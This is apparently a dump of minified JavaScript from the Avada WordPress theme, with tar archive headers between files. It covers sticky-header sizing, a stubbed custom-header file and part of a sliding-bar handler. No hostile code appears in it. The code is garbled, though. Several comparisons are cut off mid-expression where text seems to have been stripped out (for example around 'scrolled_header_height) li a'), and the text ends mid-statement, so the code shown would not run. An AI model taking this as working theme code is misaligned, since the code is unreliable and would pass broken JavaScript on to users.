e,i,r,a,o,d,n,t=300,s=0;avadaHeaderVars.sticky_header_shrinkage||(t=0),e=jQuery(".fusion-header").parent(),window.$headerParentHeight=e.outerHeight(),window.$headerHeight=jQuery(".fusion-header").outerHeight(),i=parseInt(avadaHeaderVars.nav_height,10),window.$menuHeight=i,window.$scrolled_header_height=65,r=jQuery(".fusion-logo img:visible").length?jQuery(".fusion-logo img:visible"):"",a=!1,window.$stickyTrigger=jQuery(".fusion-header"),window.$wpadminbarHeight=fusion.getAdminbarHeight(),window.$stickyTrigger_position=window.$stickyTrigger.length?Math.round(window.$stickyTrigger.offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame:0,window.$woo_store_notice=jQuery(".woocommerce-store-notice").length&&jQuery(".woocommerce-store-notice").is(":visible")?jQuery(".woocommerce-store-notice").outerHeight():0,window.$top_frame=jQuery(".fusion-top-frame").is(":visible")?jQuery(".fusion-top-frame").outerHeight()-window.$woo_store_notice:0,window.sticky_header_type=1,window.$slider_offset=0,window.$site_width=jQuery("#wrapper").outerWidth(),window.$media_query_test_1=Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1366px) and (orientation: portrait)")||Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: landscape)"),window.$media_query_test_2=Modernizr.mq("screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)"),window.$media_query_test_3=Modernizr.mq("screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)"),window.$media_query_test_4=Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)"),window.$standardLogoHeight=jQuery(".fusion-standard-logo").height(),window.$logoMarginTop=""!==jQuery(".fusion-logo").data("margin-top")?parseInt(jQuery(".fusion-logo").data("margin-top"),10):0,window.$logoMarginBottom=""!==jQuery(".fusion-logo").data("margin-bottom")?parseInt(jQuery(".fusion-logo").data("margin-bottom"),10):0,window.$standardLogoHeight+=window.$logoMarginTop+window.$logoMarginBottom,window.$initial_desktop_header_height=Math.max(window.$headerHeight,Math.round(Math.max(window.$menuHeight,window.$standardLogoHeight)+parseFloat(jQuery(".fusion-header").find(".fusion-row").css("padding-top"))+parseFloat(jQuery(".fusion-header").find(".fusion-row").css("padding-bottom")))),window.$initial_sticky_header_shrinkage=avadaHeaderVars.sticky_header_shrinkage,window.$sticky_can_be_shrinked=!0,avadaHeaderVars.sticky_header_shrinkage||(t=0,window.$scrolled_header_height=window.$headerHeight),window.original_logo_height=0,""!==r&&(r[0].hasAttribute("data-retina_logo_url")?((o=new Image).src=r.attr("data-retina_logo_url"),window.original_logo_height=parseInt(r.height(),10)+parseInt(avadaHeaderVars.logo_margin_top,10)+parseInt(avadaHeaderVars.logo_margin_bottom,10)):((o=new Image).src=r.attr("src"),window.original_logo_height=parseInt(o.naturalHeight,10)+parseInt(avadaHeaderVars.logo_margin_top,10)+parseInt(avadaHeaderVars.logo_margin_bottom,10))),(1<=jQuery(".fusion-header-v4").length||1<=jQuery(".fusion-header-v5").length)&&(window.sticky_header_type=2,"menu_and_logo"===avadaHeaderVars.header_sticky_type2_layout||Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")&&"modern"===avadaHeaderVars.mobile_menu_design?window.$stickyTrigger=jQuery(".fusion-sticky-header-wrapper"):window.$stickyTrigger=jQuery(".fusion-secondary-main-menu"),window.$stickyTrigger_position=Math.round(window.$stickyTrigger.offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame),1===window.sticky_header_type?Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")?window.$scrolled_header_height=window.$headerHeight:window.$original_sticky_trigger_height=jQuery(window.$stickyTrigger).outerHeight():2===window.sticky_header_type&&("classic"===avadaHeaderVars.mobile_menu_design&&jQuery(e).height(window.$headerParentHeight),Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")?window.$scrolled_header_height=window.$headerParentHeight:jQuery(e).height(window.$headerParentHeight)),1<=jQuery("#side-header").length&&(window.sticky_header_type=3),jQuery(".fusion-secondary-header").length&&(s=jQuery(".fusion-secondary-header").outerHeight()),jQuery(document).height()-(window.$initial_desktop_header_height+s+window.$wpadminbarHeight-window.$scrolled_header_height) li a, .fusion-header-wrapper .fusion-secondary-main-menu").attr("style",""),jQuery(".fusion-header-wrapper").removeClass("fusion-is-sticky")):avadaHeaderVars.header_sticky_tablet&&window.$media_query_test_1&&(t=0),avadaHeaderVars.header_sticky_mobile||!window.$media_query_test_2||window.$media_query_test_1?avadaHeaderVars.header_sticky_mobile&&window.$media_query_test_2&&!window.$media_query_test_1&&(t=0):(jQuery(".fusion-header-wrapper, .fusion-header-sticky-height, .fusion-header, .fusion-logo, .fusion-header-wrapper .fusion-main-menu > li a, .fusion-header-wrapper .fusion-secondary-main-menu").attr("style",""),jQuery(".fusion-header-wrapper").removeClass("fusion-is-sticky")),(jQuery("body").hasClass("fusion-builder-live")||d&&n&&(jQuery(window).width()!==d||jQuery(window).height()!==n))&&(i=parseInt(avadaHeaderVars.nav_height,10),window.$wpadminbarHeight=fusion.getAdminbarHeight(),window.$woo_store_notice=jQuery(".woocommerce-store-notice").length&&jQuery(".woocommerce-store-notice").is(":visible")?jQuery(".woocommerce-store-notice").outerHeight():0,jQuery(".fusion-is-sticky").length&&(a=jQuery(".fusion-header"),2===window.sticky_header_type&&(a="menu_only"!==avadaHeaderVars.header_sticky_type2_layout||"classic"!==avadaHeaderVars.mobile_menu_design&&window.$media_query_test_4?jQuery(".fusion-sticky-header-wrapper"):jQuery(".fusion-secondary-main-menu")),window.$wpadminbarHeight&&(jQuery(".fusion-header, .fusion-sticky-header-wrapper, .fusion-secondary-main-menu").css("top",""),jQuery(a).css("top",window.$wpadminbarHeight+window.$woo_store_notice+window.$top_frame)),"boxed"===avadaHeaderVars.layout_mode.toLowerCase()&&jQuery(a).css("max-width",jQuery("#wrapper").outerWidth()+"px")),1===window.sticky_header_type&&(avadaHeaderVars.sticky_header_shrinkage=window.$initial_sticky_header_shrinkage,jQuery(".fusion-header-wrapper").hasClass("fusion-is-sticky")||(jQuery(".fusion-secondary-header").length?window.$stickyTrigger_position=Math.round(jQuery(".fusion-secondary-header").offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame+jQuery(".fusion-secondary-header").outerHeight():window.$stickyTrigger_position=Math.round(jQuery(".fusion-header").offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame),Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")||(o=jQuery(".fusion-logo img:visible").length?jQuery(".fusion-logo img:visible").outerHeight()+parseInt(avadaHeaderVars.logo_margin_top,10)+parseInt(avadaHeaderVars.logo_margin_bottom,10):0,h=0,jQuery(".fusion-main-menu > ul > li").each((function(){h+=jQuery(this).outerWidth()})),jQuery(".fusion-header-v6").length&&(h=0),jQuery(".fusion-is-sticky").length?(h>jQuery(".fusion-header .fusion-row").width()-jQuery(".fusion-logo img:visible").outerWidth()?(window.$headerHeight=jQuery(".fusion-main-menu").outerHeight()+o,jQuery(".fusion-header-v7").length&&(window.$headerHeight=jQuery(".fusion-middle-logo-menu").height()),(jQuery(".fusion-header-v2").length||jQuery(".fusion-header-v3").length)&&(window.$headerHeight+=1)):avadaHeaderVars.sticky_header_shrinkage?window.$headerHeight=65:(window.original_logo_height>i?window.$headerHeight=window.original_logo_height:window.$headerHeight=i,window.$headerHeight+=parseFloat(jQuery(".fusion-header > .fusion-row").css("padding-top"))+parseFloat(jQuery(".fusion-header > .fusion-row").css("padding-bottom")),window.$headerHeight=Math.round(window.$headerHeight),(jQuery(".fusion-header-v2").length||jQuery(".fusion-header-v3").length)&&(window.$headerHeight+=1)),window.$scrolled_header_height=window.$headerHeight,jQuery(".fusion-header-sticky-height").css("height",window.$headerHeight),jQuery(".fusion-header").css("height",window.$headerHeight)):(u=jQuery(".fusion-header .fusion-row").width()-jQuery(".fusion-logo img:visible").outerWidth(),jQuery(".fusion-header-v7").length&&(u=jQuery(".fusion-header .fusion-row").width()),h>u?(window.$headerHeight=jQuery(".fusion-main-menu").outerHeight()+o,jQuery(".fusion-header-v7").length&&(window.$headerHeight=jQuery(".fusion-middle-logo-menu").height()),avadaHeaderVars.sticky_header_shrinkage=!1):(window.original_logo_height>i?window.$headerHeight=window.original_logo_height:window.$headerHeight=i,jQuery(".fusion-header-v7").length&&(window.$headerHeight=jQuery(".fusion-main-menu").outerHeight())),window.$headerHeight+=parseFloat(jQuery(".fusion-header > .fusion-row").css("padding-top"))+parseFloat(jQuery(".fusion-header > .fusion-row").css("padding-bottom")),window.$headerHeight=Math.round(window.$headerHeight),(jQuery(".fusion-header-v2").length||jQuery(".fusion-header-v3").length)&&(window.$headerHeight+=1),window.$scrolled_header_height=65,avadaHeaderVars.sticky_header_shrinkage||(window.$scrolled_header_height=window.$headerHeight),jQuery(".fusion-header-sticky-height").css("height",window.$headerHeight),jQuery(".fusion-header").css("height",window.$headerHeight))),Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")&&(jQuery(".fusion-header").css("height",""),window.$headerHeight=jQuery(".fusion-header").outerHeight(),window.$scrolled_header_height=window.$headerHeight,jQuery(".fusion-header-sticky-height").css("height",window.$scrolled_header_height))),2===window.sticky_header_type&&("modern"===avadaHeaderVars.mobile_menu_design&&(!Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")&&jQuery(".fusion-is-sticky").length&&"menu_only"===avadaHeaderVars.header_sticky_type2_layout?window.$headerParentHeight=jQuery(".fusion-header").parent().outerHeight()+jQuery(".fusion-secondary-main-menu").outerHeight():window.$headerParentHeight=jQuery(".fusion-header").parent().outerHeight(),window.$scrolled_header_height=window.header_parent_height,Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")||(window.$headerParentHeight=jQuery(".fusion-header").outerHeight()+jQuery(".fusion-secondary-main-menu").outerHeight(),window.$stickyTrigger_position=Math.round(jQuery(".fusion-header").offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame+jQuery(".fusion-header").outerHeight(),jQuery(e).height(window.$headerParentHeight),jQuery(".fusion-header-sticky-height").css("height","")),Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")&&(jQuery(".fusion-secondary-header").length?window.$stickyTrigger_position=Math.round(jQuery(".fusion-secondary-header").offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame+jQuery(".fusion-secondary-header").outerHeight():window.$stickyTrigger_position=Math.round(jQuery(".fusion-header").offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame,jQuery(e).height(""),jQuery(".fusion-header-sticky-height").css("height",jQuery(".fusion-sticky-header-wrapper").outerHeight()))),"classic"===avadaHeaderVars.mobile_menu_design&&(window.$headerParentHeight=jQuery(".fusion-header").outerHeight()+jQuery(".fusion-secondary-main-menu").outerHeight(),window.$stickyTrigger_position=Math.round(jQuery(".fusion-header").offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame+jQuery(".fusion-header").outerHeight(),jQuery(e).height(window.$headerParentHeight))),3===window.sticky_header_type&&(Modernizr.mq("only screen and (max-width:"+avadaHeaderVars.side_header_break_point+"px)")||(jQuery("#side-header-sticky").css({height:"",top:""}),jQuery("#side-header").hasClass("fusion-is-sticky")&&(jQuery("#side-header").css({top:"",position:""}),jQuery("#side-header").removeClass("fusion-is-sticky")))),jQuery(document).height()-(window.$initial_desktop_header_height+s+window.$wpadminbarHeight-window.$scrolled_header_height) ul > li > a").css("height",""),jQuery(".fusion-logo img").css("height","")):(window.$sticky_can_be_shrinked=!0,1<=jQuery(".fusion-is-sticky").length&&(1!==window.sticky_header_type||Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")||(Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")?jQuery(".fusion-header-sticky-height").css("height",window.$scrolled_header_height):parseInt(window.$headerHeight,10)===parseInt(window.$initial_desktop_header_height,10)&&(jQuery(window.$stickyTrigger).stop(!0,!0).animate({height:window.$scrolled_header_height},{queue:!1,duration:t,easing:"easeOutCubic",complete:function(){jQuery(this).css("overflow","visible")}}),jQuery(".fusion-header-sticky-height").stop(!0,!0).animate({height:window.$scrolled_header_height},{queue:!1,duration:t,easing:"easeOutCubic",complete:function(){jQuery(this).css("overflow","visible")}})),avadaHeaderVars.sticky_header_shrinkage&&parseInt(window.$headerHeight,10)===parseInt(window.$initial_desktop_header_height,10)&&(r&&((w=r.height()) ul > li").not(".fusion-middle-logo-menu-logo").find("> a").stop(!0,!0).animate({height:window.$scrolled_header_height},{queue:!1,duration:t,easing:"easeOutCubic"}))))),d=jQuery(window).width(),n=jQuery(window).height())})),jQuery(window).on("scroll.stickyheader",(function(){var e,o;if(window.$sticky_can_be_shrinked){if(!avadaHeaderVars.header_sticky_tablet&&window.$media_query_test_1)return;if(avadaHeaderVars.header_sticky_tablet&&window.$media_query_test_1&&(t=0),!avadaHeaderVars.header_sticky_mobile&&window.$media_query_test_2&&!window.$media_query_test_1)return;if(avadaHeaderVars.header_sticky_mobile&&window.$media_query_test_2&&(t=0),3===window.sticky_header_type&&!avadaHeaderVars.header_sticky_mobile)return;if(3===window.sticky_header_type&&!avadaHeaderVars.header_sticky_mobile&&!window.$media_query_test_3)return;0===jQuery(".fusion-is-sticky").length&&jQuery(".fusion-header, .fusion-secondary-main-menu, #side-header").find(".fusion-mobile-nav-holder > ul").is(":visible")&&(jQuery(".fusion-header-has-flyout-menu-content").length?window.$stickyTrigger_position=Math.round(jQuery(".fusion-header, .fusion-sticky-header-wrapper, #side-header").find(".fusion-header-has-flyout-menu-content").offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame:window.$stickyTrigger_position=Math.round(jQuery(".fusion-header, .fusion-sticky-header-wrapper, #side-header").find(".fusion-mobile-nav-holder:visible").offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame+jQuery(".fusion-header, .fusion-sticky-header-wrapper, #side-header").find(".fusion-mobile-nav-holder:visible").height()),3!==window.sticky_header_type&&0===jQuery(".fusion-is-sticky").length&&!jQuery(".fusion-header, .fusion-secondary-main-menu").find(".fusion-mobile-nav-holder > ul").is(":visible")&&jQuery(".fusion-header").length&&(window.$stickyTrigger=jQuery(".fusion-header"),window.$stickyTrigger_position=Math.round(window.$stickyTrigger.offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame,2===window.sticky_header_type&&("menu_and_logo"===avadaHeaderVars.header_sticky_type2_layout||window.$media_query_test_4&&"modern"===avadaHeaderVars.mobile_menu_design?window.$stickyTrigger=jQuery(".fusion-sticky-header-wrapper"):window.$stickyTrigger=jQuery(".fusion-secondary-main-menu"),window.$stickyTrigger_position=Math.round(window.$stickyTrigger.offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame),"modern"!==avadaHeaderVars.mobile_menu_design||2!==window.sticky_header_type||!window.$media_query_test_4&&"menu_and_logo"!==avadaHeaderVars.header_sticky_type2_layout||(window.$headerHeight=jQuery(window.$stickyTrigger).outerHeight(),window.$scrolled_header_height=window.$headerHeight,jQuery(".fusion-header-sticky-height").css("height",window.$scrolled_header_height))),3!==window.sticky_header_type||0!==jQuery(".fusion-is-sticky").length||jQuery("#side-header").find(".fusion-mobile-nav-holder > ul").is(":visible")||(window.$stickyTrigger=jQuery("#side-header"),window.$stickyTrigger_position=Math.round(window.$stickyTrigger.offset().top)-window.$wpadminbarHeight-window.$woo_store_notice-window.$top_frame),jQuery(window).scrollTop()>window.$stickyTrigger_position?!1===a&&(window.$woo_store_notice=jQuery(".woocommerce-store-notice").length&&jQuery(".woocommerce-store-notice").is(":visible")?jQuery(".woocommerce-store-notice").outerHeight():0,jQuery(".fusion-header-wrapper").addClass("fusion-is-sticky"),"function"==typeof resizeOverlaySearch&&resizeOverlaySearch(),jQuery(window.$stickyTrigger).css("top",window.$wpadminbarHeight+window.$woo_store_notice+window.$top_frame),r=jQuery(".fusion-logo img:visible"),"modern"===avadaHeaderVars.mobile_menu_design?(jQuery(".fusion-header, .fusion-secondary-main-menu, #side-header").find(".fusion-mobile-nav-holder").hide(),jQuery(".fusion-secondary-main-menu .fusion-main-menu-search .fusion-custom-menu-item-contents").hide(),jQuery(".fusion-mobile-menu-search").hide()):"classic"===avadaHeaderVars.mobile_menu_design&&(jQuery(".fusion-header, .fusion-secondary-main-menu, #side-header").find(".fusion-mobile-nav-holder > ul").hide(),jQuery(".fusion-mobile-menu-search").hide()),"modern"===avadaHeaderVars.mobile_menu_design&&1<=jQuery(".fusion-is-sticky").length&&1<=jQuery(".fusion-mobile-sticky-nav-holder").length&&jQuery(".fusion-mobile-nav-holder").is(":visible")&&jQuery(".fusion-mobile-nav-holder").not(".fusion-mobile-sticky-nav-holder").hide(),"boxed"===avadaHeaderVars.layout_mode.toLowerCase()&&jQuery(window.$stickyTrigger).css("max-width",jQuery("#wrapper").outerWidth()),1===window.sticky_header_type&&(Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")?jQuery(".fusion-header-sticky-height").css("height",window.$scrolled_header_height):parseInt(window.$headerHeight,10)===parseInt(window.$initial_desktop_header_height,10)&&(jQuery(window.$stickyTrigger).stop(!0,!0).animate({height:window.$scrolled_header_height},{queue:!1,duration:t,easing:"easeOutCubic",complete:function(){jQuery(this).css("overflow","visible")}}),jQuery(".fusion-header-sticky-height").stop(!0,!0).animate({height:window.$scrolled_header_height},{queue:!1,duration:t,easing:"easeOutCubic",complete:function(){jQuery(this).css("overflow","visible")}})),"1"!==avadaHeaderVars.header_sticky_shadow&&1!==avadaHeaderVars.header_sticky_shadow&&!0!==avadaHeaderVars.header_sticky_shadow&&"true"!==avadaHeaderVars.header_sticky_shadow||setTimeout((function(){jQuery(".fusion-header").addClass("fusion-sticky-shadow")}),150),avadaHeaderVars.sticky_header_shrinkage&&parseInt(window.$headerHeight,10)===parseInt(window.$initial_desktop_header_height,10)&&(jQuery(window.$stickyTrigger).find(".fusion-row").stop(!0,!0).animate({"padding-top":0,"padding-bottom":0},{queue:!1,duration:t,easing:"easeOutCubic"}),r&&(e=r.height(),r.attr("data-logo-height",r.height()),r.attr("data-logo-width",r.width()),e ul > li").not(".fusion-middle-logo-menu-logo").find("> a").stop(!0,!0).animate({height:window.$scrolled_header_height},{queue:!1,duration:t,easing:"easeOutCubic"}))),2===window.sticky_header_type&&"menu_and_logo"===avadaHeaderVars.header_sticky_type2_layout&&(jQuery(window.$stickyTrigger).css("height",""),window.$headerHeight=jQuery(window.$stickyTrigger).outerHeight(),window.$scrolled_header_height=window.$headerHeight,jQuery(window.$stickyTrigger).css("height",window.$scrolled_header_height),jQuery(".fusion-header-sticky-height").css("height",window.$scrolled_header_height)),3===window.sticky_header_type&&Modernizr.mq("only screen and (max-width:"+avadaHeaderVars.side_header_break_point+"px)")&&(jQuery("#side-header-sticky").css({height:jQuery("#side-header").outerHeight()}),jQuery("#side-header").css({position:"fixed",top:window.$wpadminbarHeight+window.$woo_store_notice+window.$top_frame}).addClass("fusion-is-sticky")),a=!0):jQuery(window).scrollTop()<=window.$stickyTrigger_position&&(jQuery(".fusion-header-wrapper").removeClass("fusion-is-sticky"),"function"==typeof resizeOverlaySearch&&resizeOverlaySearch(),jQuery(".fusion-header").removeClass("fusion-sticky-shadow"),r=jQuery(".fusion-logo img:visible"),"modern"===avadaHeaderVars.mobile_menu_design&&0===jQuery(".fusion-is-sticky").length&&1<=jQuery(".fusion-mobile-sticky-nav-holder").length&&jQuery(".fusion-mobile-nav-holder").is(":visible")&&jQuery(".fusion-mobile-sticky-nav-holder").hide(),1===window.sticky_header_type&&(Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")?jQuery(".fusion-header-sticky-height").css("height",window.$headerHeight):(1===window.sticky_header_type&&65===parseInt(window.$headerHeight,10)&&(window.$headerHeight=window.$initial_desktop_header_height),parseInt(window.$headerHeight,10)===parseInt(window.$initial_desktop_header_height,10)?(jQuery(window.$stickyTrigger).stop(!0,!0).animate({height:window.$headerHeight},{queue:!1,duration:t,easing:"easeOutCubic",complete:function(){jQuery(this).css("overflow","visible")},step:function(){jQuery(this).css("overflow","visible")}}),jQuery(".fusion-header-sticky-height").stop(!0,!0).animate({height:window.$headerHeight},{queue:!1,duration:t,easing:"easeOutCubic",complete:function(){jQuery(this).css("overflow","visible"),jQuery(this).css("display","")},step:function(){jQuery(this).css("overflow","visible")}})):jQuery(".fusion-header-v7").length&&(jQuery(".fusion-header-sticky-height").css("height",jQuery(".fusion-middle-logo-menu").height()),jQuery(".fusion-header").css("height",jQuery(".fusion-middle-logo-menu").height()))),avadaHeaderVars.sticky_header_shrinkage&&parseInt(window.$headerHeight,10)===parseInt(window.$initial_desktop_header_height,10)&&(jQuery(window.$stickyTrigger).find(".fusion-row").stop(!0,!0).animate({"padding-top":avadaHeaderVars.header_padding_top,"padding-bottom":avadaHeaderVars.header_padding_bottom},{queue:!1,duration:t,easing:"easeOutCubic"}),r&&r.stop(!0,!0).animate({height:r.data("logo-height")},{queue:!1,duration:t,easing:"easeOutCubic",complete:function(){jQuery(this).css("display",""),jQuery(".fusion-sticky-logo").css("height","")}}),jQuery(".fusion-logo").stop(!0,!0).animate({"margin-top":window.$logoMarginTop,"margin-bottom":window.$logoMarginBottom},{queue:!1,duration:t,easing:"easeOutCubic"}),jQuery(".fusion-header-v6").length||jQuery(".fusion-main-menu > ul > li").not(".fusion-middle-logo-menu-logo").find("> a").stop(!0,!0).animate({height:i},{queue:!1,duration:t,easing:"easeOutCubic"}))),2===window.sticky_header_type&&("menu_and_logo"===avadaHeaderVars.header_sticky_type2_layout&&(jQuery(window.$stickyTrigger).css("height",""),window.$headerHeight=jQuery(window.$stickyTrigger).outerHeight(),window.$scrolled_header_height=window.$headerHeight,jQuery(window.$stickyTrigger).css("height",window.$scrolled_header_height),jQuery(".fusion-header-sticky-height").css("height",window.$scrolled_header_height)),jQuery(window).trigger("fusion-reset-flyout-active-css")),3===window.sticky_header_type&&Modernizr.mq("only screen and (max-width:"+avadaHeaderVars.side_header_break_point+"px)")&&(jQuery("#side-header-sticky").css({height:""}),jQuery("#side-header").css({position:""}).removeClass("fusion-is-sticky")),a=!1)}})),jQuery(window).trigger("scroll")}function getStickyHeaderHeight(e){var i=1,r=0,a=Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1366px) and (orientation: portrait)")||Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: landscape)");return e=e||!1,(jQuery(".fusion-header-v4").length||jQuery(".fusion-header-v5").length)&&(i=2),jQuery("#side-header").length&&(i="side"),avadaHeaderVars.header_sticky&&(jQuery(".fusion-header-wrapper").length||jQuery("#side-header").length)&&(1===i?(r=jQuery(".fusion-header").outerHeight(),e&&avadaHeaderVars.sticky_header_shrinkage&&(r=64)):2===i&&(r=jQuery(".fusion-secondary-main-menu").outerHeight(),"menu_and_logo"===avadaHeaderVars.header_sticky_type2_layout&&(r+=jQuery(".fusion-header").outerHeight())),Modernizr.mq("only screen and (max-width: "+avadaHeaderVars.side_header_break_point+"px)")&&(avadaHeaderVars.header_sticky_mobile?(r=jQuery(".fusion-header").outerHeight(),2===i&&"classic"===avadaHeaderVars.mobile_menu_design?(r=jQuery(".fusion-secondary-main-menu").find(".fusion-mobile-selector").height()+14,"menu_and_logo"===avadaHeaderVars.header_sticky_type2_layout&&(r+=jQuery(".fusion-header").outerHeight())):"side"===i&&(r=jQuery("#side-header").outerHeight())):r=0),!avadaHeaderVars.header_sticky_tablet&&a&&(r=0)),r}jQuery(window).on("load",(function(){var e,i,r,a,o;jQuery(window).on("scroll",(function(){jQuery("#sliders-container .tfs-slider").data("parallax")&&"wide"!==avadaHeaderVars.layout_mode.toLowerCase()&&!cssua.ua.tablet_pc&&!cssua.ua.mobile&&Modernizr.mq("only screen and (min-width: "+avadaHeaderVars.side_header_break_point+"px)")&&"full"===avadaHeaderVars.scroll_offset?(i=jQuery("#sliders-container .tfs-slider"),e=jQuery(window).scrollTop(),a=0,r=jQuery("body").css("marginTop"),r=parseInt(r,10),o=fusion.getAdminbarHeight(),avadaHeaderVars.header_sticky&&(1<=jQuery(".fusion-header-wrapper").length||1<=jQuery("#side-header").length)?(parseInt(jQuery(".fusion-header").height(),10),a=0):(r,a=parseInt(avadaHeaderVars.nav_height,10),1>jQuery("#side-header").length&&0),e>=o+r+a?(i.css("top",0),i.addClass("fusion-fixed-slider")):(i.css("top",0),i.removeClass("fusion-fixed-slider"))):jQuery("#sliders-container .tfs-slider.fusion-fixed-slider").length&&jQuery("#sliders-container .tfs-slider.fusion-fixed-slider").removeClass("fusion-fixed-slider")})),avadaHeaderVars.header_sticky&&(1<=jQuery(".fusion-header-wrapper").length||1<=jQuery("#side-header").length)&&fusionInitStickyHeader(),setTimeout((function(){!1,jQuery(window).trigger("resize"),!0}),10),jQuery(window).on("resize",(function(){jQuery(".woocommerce-store-notice").length&&jQuery(".woocommerce-store-notice").is(":visible")&&!jQuery(".fusion-top-frame").is(":visible")&&(jQuery("#wrapper").css("margin-top",jQuery(".woocommerce-store-notice").outerHeight()),jQuery(".sticky-header").length&&jQuery(".sticky-header").css("margin-top",jQuery(".woocommerce-store-notice").outerHeight())),jQuery(".sticky-header").length&&jQuery("body.admin-bar #header-sticky.sticky-header").css("top",fusion.getAdminbarHeight()+"px")}))})),jQuery(document).ajaxComplete((function(){var e,i,r;jQuery(window).trigger("scroll"),1<=jQuery(".fusion-is-sticky").length&&window.$stickyTrigger&&3!==window.sticky_header_type&&!jQuery(".fusion-header-v6").length&&"background"!==avadaHeaderVars.nav_highlight_style&&(e=1>=Math.abs(jQuery(window.$stickyTrigger).height()-jQuery(".fusion-is-sticky .fusion-header > .fusion-row").outerHeight())?jQuery(".fusion-is-sticky .fusion-header > .fusion-row"):jQuery(window.$stickyTrigger),i=parseInt(avadaHeaderVars.nav_highlight_border,10),r=e.height(),e.height()-i,2===window.sticky_header_type&&(r=(e=jQuery(".fusion-secondary-main-menu")).find(".fusion-main-menu > ul > li > a").outerHeight())-i,jQuery(".fusion-main-menu > ul > li").not(".fusion-middle-logo-menu-logo").find("> a").css("height",r+"px"))})),window.addEventListener("fusion-reinit-sticky-header",(function(){void 0!==window.parent.FusionApp&&"off"===window.parent.FusionApp.preferencesData.sticky_header||(fusionDisableStickyHeader(),Number(avadaHeaderVars.header_sticky)&&setTimeout((function(){fusionInitStickyHeader()}),20))})),window.addEventListener("fusion-disable-sticky-header",(function(){fusionDisableStickyHeader()})),window.addEventListener("fusion-init-sticky-header",(function(){fusionInitStickyHeader()})),window.addEventListener("fusion-resize-stickyheader",(function(){jQuery(window).trigger("resize.stickyheader")}));Avada/assets/min/js/general/avada-custom-header.js000064400000000275152342437710016062 0ustar00function fusionDisableStickyHeader(){}function fusionInitStickyHeader(){}function getStickyHeaderHeight(i){return 0}function moveSideHeaderStylingDivs(){}function fusionSideHeaderScroll(){}Avada/assets/min/js/general/avada-sliding-bar.js000064400000007525152342437710015522 0ustar00function slidingBarHandling(){var i=jQuery(".fusion-sliding-bar-area"),n=i.children(".fusion-sliding-bar");i.hasClass("open")?(i.removeClass("open"),jQuery(".awb-icon-sliding-bar, .awb-menu__sliding-toggle").removeClass("fusion-main-menu-icon-active"),jQuery("body").removeClass("fusion-sliding-bar-active"),(i.hasClass("fusion-sliding-bar-position-top")||i.hasClass("fusion-sliding-bar-position-bottom"))&&n.slideUp(240,"easeOutQuad")):jQuery(this).hasClass("fusion-sb-close")||(i.addClass("open"),jQuery(".awb-icon-sliding-bar, .awb-menu__sliding-toggle").addClass("fusion-main-menu-icon-active"),jQuery("body").addClass("fusion-sliding-bar-active"),(i.hasClass("fusion-sliding-bar-position-top")||i.hasClass("fusion-sliding-bar-position-bottom"))&&n.slideDown(240,"easeOutQuad"),setTimeout((function(){"function"==typeof jQuery.fn.reinitializeGoogleMap&&n.find(".shortcode-map").each((function(){jQuery(this).reinitializeGoogleMap()})),n.find(".awb-carousel").length&&"function"==typeof generateSwiperCarousel&&generateSwiperCarousel(),n.find(".fusion-portfolio").each((function(){var i=jQuery(this).find(".fusion-portfolio-wrapper"),n=i.attr("id");n&&(i=jQuery("#"+n)),i.isotope()})),n.find(".fusion-gallery").each((function(){jQuery(this).isotope()})),"function"==typeof jQuery.fn.fusionCalcFlipBoxesHeight&&n.find(".fusion-flip-boxes").not(".equal-heights").find(".flip-box-inner-wrapper").each((function(){jQuery(this).fusionCalcFlipBoxesHeight()})),"function"==typeof jQuery.fn.fusionCalcFlipBoxesEqualHeights&&n.find(".fusion-flip-boxes.equal-heights").each((function(){jQuery(this).fusionCalcFlipBoxesEqualHeights()})),"function"==typeof jQuery.fn.equalHeights&&n.find(".fusion-fullwidth.fusion-equal-height-columns").each((function(){jQuery(this).find(".fusion-layout-column .fusion-column-wrapper").equalHeights()})),n.find(".crossfade-images").each((function(){fusionResizeCrossfadeImagesContainer(jQuery(this))})),n.find(".fusion-blog-shortcode").each((function(){jQuery(this).find(".fusion-blog-layout-grid").isotope()})),"function"==typeof 